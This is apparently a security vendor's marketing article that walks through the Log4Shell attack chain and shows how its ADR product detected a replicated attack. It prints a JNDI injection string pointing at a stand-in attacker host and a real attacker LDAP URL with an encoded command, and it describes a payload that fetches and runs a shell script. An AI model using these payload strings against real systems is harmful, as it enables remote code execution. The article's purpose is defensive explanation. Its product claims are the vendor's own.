Anatomy of an attack

In today's rapidly evolving cyber threat landscape, organizations face increasingly sophisticated attacks targeting their applications. Understanding these threats and the technologies designed to combat them is crucial. This article delves into the mechanics of a common application attack, using the well-known Log4Shell vulnerability as an example. Using a real-world exploit example, we explore how this vulnerability can lead to initial exploitation as well as exploit chaining, and we demonstrate how Contrast Security's Application Detection and Response (ADR) technology effectively safeguards against such zero-day threats.

The article also highlights the business benefits of ADR, including reduced risk, lower costs and improved compliance. By understanding the advantages of ADR and its real-world impact, organizations can make informed decisions to enhance their Application Security (AppSec) posture and stay ahead of emerging threats.

ADR vs. existing cybersecurity capabilities

The limitations of existing approaches

Before we dive into the details of ADR, it's crucial to understand how it addresses a significant gap in many organizations' security strategies: the lack of robust application-level threat detection.

Web application firewall (WAF)

Many organizations rely on WAFs as their primary defense against application-level threats. However, this approach has several critical limitations:

• Network-level focus: WAFs operate at the network level, analyzing incoming traffic patterns to detect potential threats. While this can be effective against known attack signatures, it provides limited visibility into what's happening within the application itself.
• False positives: Due to their lack of application-specific context, WAFs often generate a high number of false positives. This can overwhelm security teams and lead to alert fatigue.
• Vulnerability to bypass techniques: Perhaps most critically, WAF bypass techniques are surprisingly easy to execute. Attackers can often circumvent WAF protections using methods like encoding variations, protocol-level evasion, payload padding or exploiting application flaws that aren't visible at the network level.
• Ineffective SOC integration: Even when organizations have WAFs in place, they often fail to configure them to feed detailed application-level information to their security operations center (SOC). This creates a significant gap in threat detection and response capabilities.

Technical Note: A WAF is a security tool that monitors, filters and blocks HTTP traffic to and from a web application. It operates at the network level and is intended to help protect web applications from various attacks, such as Cross-Site Scripting (XSS) and SQL injection.

Technical Note: WAF bypasses are techniques attackers use to render WAF security controls ineffective. These include methods to sneak malicious payloads past the WAF’s signature-based protections, or outright avoidance of the WAF entrypoint to the application. It is important to have a defense-in-depth strategy when it comes to AppSec and not rely on a single control to ensure security of the application layer.

Endpoint detection and response (EDR)

EDR solutions focus on monitoring and protecting individual endpoints (like computers and mobile devices) within an organization. While crucial for overall security, EDR has its own set of limitations when it comes to AppSec:

• Focus on endpoint activities: EDR primarily monitors system-level events and processes, not application-specific behaviors.
• Limited visibility into application internals: EDR solutions don't have insight into the internal workings of applications.
• Reactive nature: EDR often detects threats after they've already executed on an endpoint.
• Gaps in cloud and web application coverage: As applications move to cloud-based services, traditional EDR solutions may have gaps.

Technical note: EDR is a cybersecurity technology that continuously monitors and responds to threats on endpoint devices such as computers, laptops and mobile devices. EDR solutions collect and analyze data from endpoints to enable security operations teams to detect, investigate and mitigate suspicious activities and potential security breaches. They typically provide real-time visibility, threat detection and automated response capabilities, focusing on endpoint-level activities rather than application-specific behaviors.

The ADR advantage

ADR technology addresses these limitations by working within the application itself. This approach offers several key advantages:

• Deep application visibility: ADR provides insight into code execution and data flow, offering a level of visibility that network-level solutions simply cannot match.
• Context-aware detection: By understanding the application's behavior, ADR can more accurately distinguish between legitimate actions and genuine threats, significantly reducing false positives.
• Zero-day vulnerability protection: ADR's deep application insight allows it to detect and respond to novel attack patterns, providing better protection against zero-day vulnerabilities.
• Defense-in-depth for WAF bypass: ADR serves as a crucial second line of defense, capable of detecting threats that have successfully bypassed WAF protections.
• Rich, actionable intelligence: ADR can provide detailed, context-rich information about application-level threats directly to SOC teams, closing the visibility gap and enabling more effective threat response.

By implementing ADR, organizations can fill this critical gap in their security posture, gaining the ability to detect and respond to sophisticated application-level threats that existing solutions might miss.

Technical Note: ADR is a security approach that focuses on detecting and responding to threats at the application level. Unlike other AppSec measures that operate at the network level, ADR works within the application itself, providing deeper visibility into application behavior and more accurate threat detection.

Technical Note: A zero-day vulnerability is a software security flaw that is unknown to the software vendor and has not yet been patched. These vulnerabilities can be exploited by attackers before the vendor becomes aware and hurries to fix them.

The anatomy of a modern application attack: Log4Shell

To illustrate the complexity and severity of modern application attacks, let's examine an attack against the infamous Log4Shell vulnerability (CVE-2021-44228) that sent shockwaves through the cybersecurity world in late 2021. This attack is a prime example of attack chaining, leveraging JNDI Injection, Expression Language (EL) Injection, and Command Injection.

Technical Note: The CVE program catalogs publicly disclosed computer security flaws and is maintained by MITRE. Each CVE entry has a unique identifier, making it easier for IT professionals to share information about vulnerabilities across different security tools and services.

Step 1: Exploitation of the vulnerability

The Log4Shell vulnerability affects Log4j, a ubiquitous Java logging framework. The attack begins when a malicious actor sends a specially crafted request to a vulnerable application. This request contains a Java Naming and Directory Interface (JNDI) lookup string in a format like this:

${jndi:ldap://attacker-controlled-server.com/payload}

Technical Note: JNDI (Java Naming and Directory Interface) is a Java API that provides naming and directory functionality to Java applications. It allows Java applications to discover and look up data and objects via a name, which can be exploited in certain vulnerabilities like Log4Shell. In this context, it's being abused to initiate a connection to a malicious server.

Step 2: JNDI lookup and EL evaluation

When the vulnerable Log4j version processes this string, it interprets the ${jndi:...} part as an expression to be evaluated. This evaluation causes the application to perform a JNDI lookup, reaching out to the attacker-controlled Lightweight Directory Access Protocol (LDAP) server specified in the string.

Technical Note: Log4j is a popular Java-based logging framework developed by Apache. It's widely used in Java applications for logging various types of data and events.

Step 3: Malicious payload retrieval

The attacker's LDAP server responds with an Expression Language (EL) injection payload. Due to the nature of JNDI and how Log4j processes the response, this payload is treated as an EL expression to be evaluated.

Step 4: EL injection

The EL expression typically contains malicious code designed to exploit the EL interpreter. This could include commands to download and execute additional malware, exfiltrate data or establish a backdoor in the system.

Technical Note: Expression Language (EL) is a scripting language that allows access to application data. EL injection occurs when an attacker can manipulate or inject malicious EL expressions, potentially leading to code execution. EL injection vulnerabilities are a recurring theme among zero-day vulnerabilities, either directly or indirectly through chained attacks as in this example.

Step 5: Code execution

As the EL interpreter evaluates the injected expression, it executes the malicious code within the context of the vulnerable application. This gives the attacker a foothold in the system, often with the same privileges as the application itself.

The power and danger of Log4Shell

What makes the Log4Shell vulnerability particularly severe is the widespread usage of the Log4j library and how easy it was to exploit the vulnerability, and carries the following concerns:

1. Wide attack surface: Log4j is used in many Java applications and frameworks, making this type of vulnerability widespread.
2. Remote code execution: The associated JNDI injection can lead directly to remote code execution (RCE), giving attackers significant control over the vulnerable system.
3. Difficult to detect: Attacks against the Log4Shell vulnerability can be obfuscated, making them hard to detect through simple pattern matching of network-level protections
4. Chained attacks: The JNDI injection attack can be chained with other techniques, such as EL injection and Command Injection, to create more complex attacks.

This anatomy of the Log4Shell attack demonstrates why application layer attacks are so potent and why protection mechanisms like ADR are crucial for detecting and preventing such sophisticated attacks.

From foothold to action on objectives

With initial access established, attackers can leverage this position to use additional tactics to accomplish other objectives, such as:

• Privilege escalation: The attacker may exploit local vulnerabilities to gain higher privileges on the compromised system.
• Reconnaissance: Using their elevated access, the attacker can scan the internal network for other vulnerable systems or valuable data.
• Credential harvesting: The compromised system may be used to extract login credentials stored in memory or configuration files.
• Pivot to other systems: Using harvested credentials or exploiting other vulnerabilities, the attacker can compromise additional systems within the network.
• Data exfiltration or ransomware deployment: Depending on their objectives, attackers may steal sensitive data or deploy ransomware across the compromised network.

Contrast ADR in action

The Contrast Security Runtime Security Platform employs innovative ADR technology to detect and prevent attacks like Log4Shell at multiple stages. Before we dive into the specifics of the Log4Shell protections, let’s understand the architecture that makes this possible.

Contrast ADR architecture

Contrast ADR uses agent-based architecture, integrating directly with the application runtime:

• Agent deployment: A lightweight agent is deployed within the application's runtime environment (e.g., Java Virtual Machine [JVM] for Java applications).
• Runtime integration: The agent integrates seamlessly with the application code, allowing it to monitor and analyze application behavior in real time.
• Instrumentation: Contrast uses instrumentation techniques to observe code execution, data flow and API calls without modifying the application's source code.
• Response mechanism: When a threat is detected, Contrast can take immediate action, such as blocking the malicious activity or alerting security teams.

This architecture allows Contrast Runtime Security to offer deep visibility and precise protection at multiple stages of an attack. Let's examine how this plays out in practice:

Multi-stage protection against Log4Shell

Stage 1: JNDI injection detection

Contrast Runtime Security identifies the malicious JNDI lookup attempt by:

• JNDI injection hardening: Enhancing the JVM's security settings to prevent abuse of JNDI capabilities.

Stage 2: EL injection detection

Contrast Runtime Security identifies EL injection attempts and protects against them by using:

• Expression language hardening: Enhancing the JVM’s security settings to prevent abuse of the JVM’s EL processor capabilities.

Stage 3: Blocking code execution

In the unlikely event that malicious code is loaded, the Contrast Runtime Security Platform utilizes:

• Command injection protection: Leverage classification, tracing and semantic analysis techniques to prevent attacker payloads from reaching sensitive APIs.
• Process hardening: Enhancing the JVM’s security settings to prevent abuse of JVM’s sensitive APIs related to command execution.

Real-world example: Log4Shell attack detection and analysis

To better understand how Contrast’s ADR technology works in practice, let's examine a series of screenshots from a replicated Log4Shell attack detection event.

Note: All behavioral rules are set to MONITOR mode, not BLOCK mode, for this example to illustrate attacker exploit chaining and the defense-in-depth detection capabilities of Contrast’s ADR. Normally, these rules would be set to BLOCK mode, catching and blocking the initial JNDI exploit, and preventing the subsequent events from occurring in the first place.

Stage 1: JNDI injection

Attack detection

In the first screenshot, we see Contrast ADR identifying a JNDI injection attempt:

• The event is marked as EXPLOITED, indicating a successful attack attempt.
• The attack source IP is listed as 0.0.0.0, which would normally contain the source IP of the attack. In this case, this is a local replication of the actual attack, so the IP address is coming from the same system hosting the vulnerable application.
• Contrast ADR detected an attempt to redirect an InitialContext lookup to an attacker-controlled LDAP server:

ldap://143.110.184.204:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCB…

This LDAP URL is characteristic of a Log4Shell exploit attempt, where the attacker tries to initiate a JNDI lookup to a malicious server.

Code execution details

The second screenshot provides a detailed stack trace of the attack:

• We can see the attack progressing through the JNDI lookup process.
• The stack trace shows the involvement of Log4j library code, specifically the JndiManager.lookup and JndiLookup.lookup methods.
• This confirms that the vulnerable Log4j component is being exploited in this attack.

Technical Note: For those not familiar with the series of method calls shown in the screenshot above, this is a stack trace. This stack trace is a snapshot of code execution that the application was in the middle of when Contrast's ADR detected the attack. In stack traces, the method calling order is from bottom-to-top, not top-to-bottom (as we normally read), which can sometimes be confusing for non-developers. Just think of this as stacking plates on top of each other, with the most recently stacked plate going on top.

Stage 2: EL injection

Attack detection

The third screenshot reveals the content of the malicious payload downloaded from the attacker-controlled server:

• Contrast’s ADR identified an EL injection event.
• The evaluated expression uses Java class loading to load the JavaScript engine embedded in the JVM.
• The payload uses JavaScript to create a malicious array intended to execute system commands.
• It includes logic to work on both Unix-like systems (/bin/bash) and Windows (cmd), demonstrating the attacker's attempt at cross-platform exploitation.

Code execution details

The fourth screenshot shows code-level details with the invocation of the EL processor:

• We see the javax.el.ELProcessor.eval method being called, which is where the malicious EL payload would be executed by the Java code.
• This stage represents the point where, if undetected and unblocked, the attacker's code would gain execution within the application's context.

Stage 3: Command injection

Attack detection

The fifth screenshot show the invocation of the command embedded within the JavaScript payload:

• Contrast ADR identified a Command injection event.
• The command attempts to download and execute a shell script (aktualisieren.sh) from an attacker-controlled server.

Code execution details

The final screenshot shows the invocation of the JavaScript code and forking of the process using Runtime.exec which invokes ProcessBuilder.start.

• We see the Nashorn scripting engine is called, evaluating the malicious payload code containing the command array.
• This results in the Java runtime forking a process that downloads and executes a malicious shell script.
• This stage represents the point where, if undetected, the attacker would download and detonate their malware payload on the target application server.
• When the process is forked, this is where an EDR system might start detecting an attack. More sophisticated attackers who are trying to hide their presence would likely not take this action, preferring to operate within the application layer where detection is less likely.

Technical Note: The Nashorn scripting engine was removed from Java in version 15, which would make this specific attack payload ineffective if using a newer version of Java. However, attackers can still use other techniques to exploit this vulnerability in newer versions of Java.

Summary of attack detection

This detailed breakdown demonstrates Contrast ADR’s ability to:

1. Detect the initial JNDI injection attempt
2. Track the attack through multiple stages of execution
3. Identify and analyze malicious payloads
4. Provide deep visibility into the attack chain, from initial exploit to potential code execution

This level of insight is crucial for both preventing attacks and understanding new threat patterns.

ADR response to Log4Shell attack

When Contrast ADR detects a potential Log4Shell exploitation attempt, it triggers a comprehensive response that aligns with the NIST Cybersecurity Framework. Here's how an ADR system would typically respond:

Identify

• Uses Runtime Software Composition Analysis (SCA) to continuously map and inventory the application environment, identifying vulnerable Log4j instances.
• Provides real-time visibility into the application's behavior and data flow during the attack attempt.

Protect

• If in blocking mode, prevents the initial JNDI lookup to the malicious server.
• Enhances JVM security settings to limit JNDI capabilities, reducing the attack surface.

Detect

• Identifies and alerts on the JNDI lookup attempt to the malicious LDAP server.
• Detects attempts to execute malicious EL payloads.
• Monitors for unauthorized Java class loading and execution.
• Identifies suspicious process executions indicative of command injection.

Respond

• Triggers use of predefined run books for Log4Shell incidents.
• Provides enhanced triaging context, including:
  • Detailed attack chain analysis from JNDI lookup to potential code execution.
  • Affected application components and potential impact.
• Integrates with SIEM/XDR systems, enriching alerts with application-layer context for more effective incident analysis.

Recover

• Supports incident investigation by providing detailed forensic data about the attack attempt.
• Assists in identifying the full extent of potential compromise across the application portfolio.
• Facilitates post-incident analysis to improve detection and protection capabilities:
  • Update run books based on the incident response effectiveness.
  • Refine rules policy to catch future instances of the attack.
• Provides data to support root cause analysis, helping prevent similar incidents in the future.

Throughout this process, the ADR system:

• Maintains continuous monitoring.
• Provides real-time updates to security dashboards, offering a clear view of the ongoing situation to both technical teams and management.
• Supports compliance reporting by documenting all detection and response actions taken.

This comprehensive ADR approach ensures a rapid, coordinated response to Log4Shell exploitation attempts, leveraging automation and integration with the broader security ecosystem to minimize risk and support quick recovery.

Technical Note: SIEM (Security Information and Event Management) is a system that collects and analyzes log data from various sources across an organization's IT infrastructure. It helps in real-time analysis of security alerts generated by applications and network hardware. Some SIEM examples include Splunk, QRadar and Microsoft Sentinel.

Technical Note: XDR (Extended Detection and Response) is a holistic security approach that collects and automatically correlates data across multiple security layers — email, endpoints, servers, cloud workloads and networks. It uses analytics to detect threats and automatically respond to them, providing a more comprehensive and efficient way to detect, investigate and respond to cybersecurity incidents across the entire IT ecosystem.

Advantages of Contrast's ADR approach

The detailed attack chain analysis provided by Contrast ADR offers several advantages:

• Deep visibility: Unlike network-based tools, Contrast ADR provides insight into the application's internal processes, allowing for precise attack detection.
• Context-aware protection: By understanding the application's normal behavior, Contrast can accurately distinguish between legitimate actions and attack attempts.
• Real-time analysis: The ability to analyze and block attacks in real-time prevents successful exploits even for zero-day vulnerabilities.
• Actionable intelligence: The detailed event information helps security teams understand the nature of the attack and improve overall security posture.
• Minimal false positives: By correlating multiple stages of an attack, Contrast ADR can confidently identify true threats, reducing alert fatigue for security teams.

Contrast ADR vs. other security measures

Contrast's ADR solution offers several advantages over other security tools like web application firewalls (WAFs) and EDR products:

• In-app intelligence: Unlike WAFs that analyze network traffic, Contrast ADR operates within the application, providing deeper insight into data flow and code execution.
• Context-aware protection: Contrast's ADR understands the application's behavior, allowing for more accurate threat detection and fewer false positives.
• Zero-day vulnerability protection: Contrast ADR has demonstrated its ability to defend against zero-day threats, as evidenced by its protection against numerous CVEs before patches were available.
• Performance optimization: By operating within the application's shared memory, Contrast ADR minimizes performance impact.
• Customizable policies: Contrast allows for fine-tuning of protection rules, CVE shields, virtual patches and log enhancers to suit specific application needs.

Business benefits of ADR technology

Implementing Contrast’s ADR technology translates into tangible business benefits:

• Reduced risk: By providing multi-layered, context-aware protection, ADR significantly reduces the risk of successful attacks, protecting your organization's data and reputation.
• Lower total cost of ownership: With fewer false positives and automated protection, security teams can focus on high-priority issues, reducing operational costs.
• Improved compliance posture: ADR's comprehensive protection and detailed logging assist in meeting various compliance requirements, such as PCI DSS and GDPR.
• Faster time-to-market: By securing applications from within, ADR allows development teams to move faster without compromising on security, aligning with Secure by Design principles.
• Enhanced visibility: The deep insights provided by ADR technology improve overall security posture and inform strategic security decisions.

Note: PCI DSS (Payment Card Industry Data Security Standard) is a set of security standards designed to ensure that all companies that accept, process, store or transmit credit card information maintain a secure environment.

Note: GDPR (General Data Protection Regulation) is a regulation in EU law on data protection and privacy in the European Union and the European Economic Area. It also addresses the transfer of personal data outside the EU and EEA areas.

Real-world impact: the Log4Shell example

When the Log4Shell vulnerability was disclosed, organizations worldwide scrambled to patch their systems and mitigate the risk. However, Contrast Security customers using ADR were already defended against this critical vulnerability.

Contrast ADR’s multi-layered approach to security meant that even before the vulnerability was publicly known, it could:

1. Detect and block malicious EL injection attacks
2. Prevent unauthorized class loading and deserialization
3. Stop attempts at remote code execution
4. Provide visibility into Log4shell exposure and attacks

This proactive protection highlights the power of ADR technology in safeguarding applications against even the most sophisticated and previously unknown threats.

But Log4Shell is just one example. Other high-profile examples of zero-day protection offered by this technology include:

ADR integration with SIEM/XDR ecosystem

The integration of Application Detection and Response (ADR) technology with existing Security Information and Event Management (SIEM) and Extended Detection and Response (XDR) systems creates a powerful synergy that enhances overall security operations. Here's how ADR can fit into and augments SIEM/XDR-driven workflows:

Enhanced incident response and analysis

• Alert correlation: ADR-generated alerts are automatically correlated with network-level events in SIEM/XDR, providing a comprehensive view of potential attacks.
• Root cause analysis: ADR's detailed code execution traces and continuous monitoring allow for more effective root cause analysis of security incidents.

Dynamic security controls

• Adaptive blocking: SIEM/XDR can dynamically switch ADR from monitoring to blocking mode based on threat intelligence or behavioral analysis.
• Virtual patching: Rapid deployment of virtual patches through ADR, orchestrated by SIEM/XDR, to mitigate newly discovered vulnerabilities.
• Enhanced logging: Dynamic activation of log enhancers in ADR to gather more detailed information about specific types of events as needed.

Coordinated threat mitigation

• Cross-platform IP blocking: Coordinated blocking of malicious IP addresses across multiple layers, including application-level blocking through ADR.
• Contextual response: ADR provides application-specific context for more nuanced and effective response strategies.

Streamlined security-development collaboration

• Vulnerability reporting: Detailed, prioritized vulnerability reports are generated and sent to development teams.
• Integrated ticketing: Creation of bug reports or security tickets, streamlining communication between security and development teams.

Example: Countering a zero-day exploit

1. ADR detects strange EL injection activity within a library component in the application layer, indicating possible exploitation.
2. SIEM/XDR correlates this with recent threat intelligence about a zero-day vulnerability.
3. Manual or automated response triggers one or more of the following actions:
   1. ADR switches the EL injection rule to blocking mode for the affected component.
   2. Virtual patch is deployed through ADR.
   3. Enhanced logging is activated.
   4. Development team is notified with a detailed report
4. SIEM/XDR uses ADR's logs for ongoing analysis and further response refinement.

By integrating ADR into the SIEM/XDR ecosystem, organizations achieve more comprehensive threat detection, faster incident response, and more effective vulnerability management, significantly enhancing their overall security posture.

Conclusion

As cyber threats continue to evolve, network-based AppSec measures are no longer sufficient to protect critical applications and data. Contrast’s ADR technology offers a robust, intelligent, and proactive approach to AppSec.

By understanding the anatomy of modern attacks and leveraging cutting-edge ADR solutions, organizations can significantly enhance their security posture, minimize risk, and stay ahead of emerging threats. As a security decision-maker, investing in ADR technology is not just a security measure – it's a strategic imperative for safeguarding your organization's digital assets in today's threat landscape.

Next steps

To learn more about how ADR technology can protect your organization:

• Request a demo of Contrast ADR to see its capabilities in action.
• Conduct a risk assessment of your current AppSec posture.
• Engage with Contrast Security experts to discuss your specific security needs and how ADR can address them.

By taking these steps, you'll be well on your way to strengthening your AppSec and staying ahead of evolving cyber threats.

Read more: 

• ADR white paper: The Case for Application Detection and Response (ADR) 
• Contrast explainer video: Contrast Application Detection and Response (ADR)
• Contrast demo video: Contrast Security ADR Demo
• Contrast press release: Contrast Security Application Detection and Response (ADR) Praised by Industry Analysts for Addressing Gap in Cybersecurity Defenses 
• Contrast press release: Contrast Security Introduces Application Detection and Response (ADR) to Identify and Block Attacks and Zero Days on Applications in Production 
• Contrast glossary: What is ADR?
• Contrast glossary: What is cross-site scripting?
• Contrast blog: Why Contrast Security is making the case for Application Detection and Response (ADR)
• Contrast blog: Contrast Security founder Jeff Williams explains how to fix AppSec in production
• Contrast blog: 5 ways Contrast Security ADR closes the gap in protection for apps & APIs
• Contrast blog: Understanding ADR’s detection and response layers
• Contrast blog: Why application detection and response is sparking excitement in cybersecurity
• Contrast blog: August attack data: A look beyond the numbers